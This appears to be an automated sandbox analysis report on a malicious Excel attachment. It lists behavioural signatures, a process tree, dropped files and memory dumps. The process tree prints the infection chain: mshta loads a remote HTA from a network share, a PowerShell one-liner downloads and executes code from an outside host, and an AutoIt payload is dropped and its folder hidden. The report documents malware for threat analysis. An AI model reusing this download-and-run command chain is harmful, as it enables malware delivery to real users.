Resubmissions
08/05/2024, 09:31
240508-lg8bfadh2v1008/05/2024, 09:23
240508-lcsp7ade4t1008/05/2024, 09:17
240508-k9f7zsdc4w1007/05/2024, 11:17
240507-ndpe9sde211Analysis
- max time kernel
143s - max time network
123s - platform
windows11-21h2_x64 - resource
win11-20240426-en - resource tags
- submitted
08/05/2024, 09:23
General
- Target May-Document-6_2024-6683.xlsx
- Size 51KB
- Sample240508-lcsp7ade4t
- SHA256 a3eeef65c42890fd372bc7c627b36d2b9d54a909b809663e0f0392fa34766794
Malware Config
Signatures
- Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: AutoIT 1 TTPs 1 IoCs
Using AutoIT for possible automate script.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 16 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\May-Document-6_2024-6683.xlsx"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exeC:\Windows\System32\mshta.exe -Embedding2⤵
- Process spawned unexpected child process
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "\\lincsnet.com\share\MS_EXCEL_DOCUMENT_HELPER.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'updateleft.com/rmtixfwn')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\bwjv\Autoit3.exe"C:\bwjv\Autoit3.exe" script.a3x4⤵
- Executes dropped EXE
- Command and Scripting Interpreter: AutoIT
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\attrib.exe"C:\Windows\system32\attrib.exe" +h C:/bwjv/4⤵
- Views/modifies file attributes
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_aw2y0rh1.ewy.ps1
Autoit3.exe
script.a3x
memory/2144-41-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/2144-98-0x00007FF673600000-0x00007FF673608000-memory.dmp
memory/3236-66-0x0000000070E20000-0x0000000070E6C000-memory.dmp
memory/3236-77-0x0000000008A70000-0x0000000008B14000-memory.dmp
memory/3236-100-0x0000000008E30000-0x0000000008E38000-memory.dmp
memory/3236-99-0x0000000008DF0000-0x0000000008E0A000-memory.dmp
memory/3236-55-0x00000000064C0000-0x0000000006817000-memory.dmp
memory/3236-96-0x0000000008D90000-0x0000000008D9E000-memory.dmp
memory/3236-87-0x0000000071150000-0x00000000714A7000-memory.dmp
memory/3236-81-0x0000000008D10000-0x0000000008D1A000-memory.dmp
memory/3236-80-0x0000000008D20000-0x0000000008D32000-memory.dmp
memory/3236-79-0x0000000008B90000-0x0000000008BA1000-memory.dmp
memory/3236-78-0x0000000008B70000-0x0000000008B7A000-memory.dmp
memory/3236-76-0x0000000008A40000-0x0000000008A5E000-memory.dmp
memory/3236-67-0x0000000071150000-0x00000000714A7000-memory.dmp
memory/3236-65-0x0000000008A00000-0x0000000008A34000-memory.dmp
memory/3236-63-0x0000000008F60000-0x0000000009506000-memory.dmp
memory/3236-62-0x0000000007F40000-0x0000000007F62000-memory.dmp
memory/3236-61-0x00000000086B0000-0x0000000008746000-memory.dmp
memory/3236-60-0x00000000087E0000-0x00000000089A2000-memory.dmp
memory/3236-59-0x0000000006E90000-0x0000000006EAA000-memory.dmp
memory/3236-58-0x0000000007F90000-0x000000000860A000-memory.dmp
memory/3236-57-0x0000000006980000-0x00000000069CC000-memory.dmp
memory/3236-56-0x0000000006960000-0x000000000697E000-memory.dmp
memory/3236-43-0x0000000005CF0000-0x000000000631A000-memory.dmp
memory/3236-44-0x0000000005AD0000-0x0000000005AF2000-memory.dmp
memory/3236-46-0x0000000006450000-0x00000000064B6000-memory.dmp
memory/3236-45-0x0000000005C70000-0x0000000005CD6000-memory.dmp
memory/3236-42-0x0000000003140000-0x0000000003176000-memory.dmp
memory/3236-97-0x0000000008DB0000-0x0000000008DC5000-memory.dmp
memory/4156-7-0x00007FFEEBE80000-0x00007FFEEBE90000-memory.dmp
memory/4156-4-0x00007FFEEE790000-0x00007FFEEE7A0000-memory.dmp
memory/4156-40-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-17-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-18-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-19-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-21-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-23-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-22-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-0-0x00007FFEEE790000-0x00007FFEEE7A0000-memory.dmp
memory/4156-20-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-6-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-5-0x00007FFF2E7A3000-0x00007FFF2E7A4000-memory.dmp
memory/4156-16-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-14-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-13-0x00007FFEEBE80000-0x00007FFEEBE90000-memory.dmp
memory/4156-12-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-15-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-9-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-10-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-3-0x00007FFEEE790000-0x00007FFEEE7A0000-memory.dmp
memory/4156-11-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-8-0x00007FFF2E700000-0x00007FFF2E909000-memory.dmp
memory/4156-2-0x00007FFEEE790000-0x00007FFEEE7A0000-memory.dmp
memory/4156-1-0x00007FFEEE790000-0x00007FFEEE7A0000-memory.dmp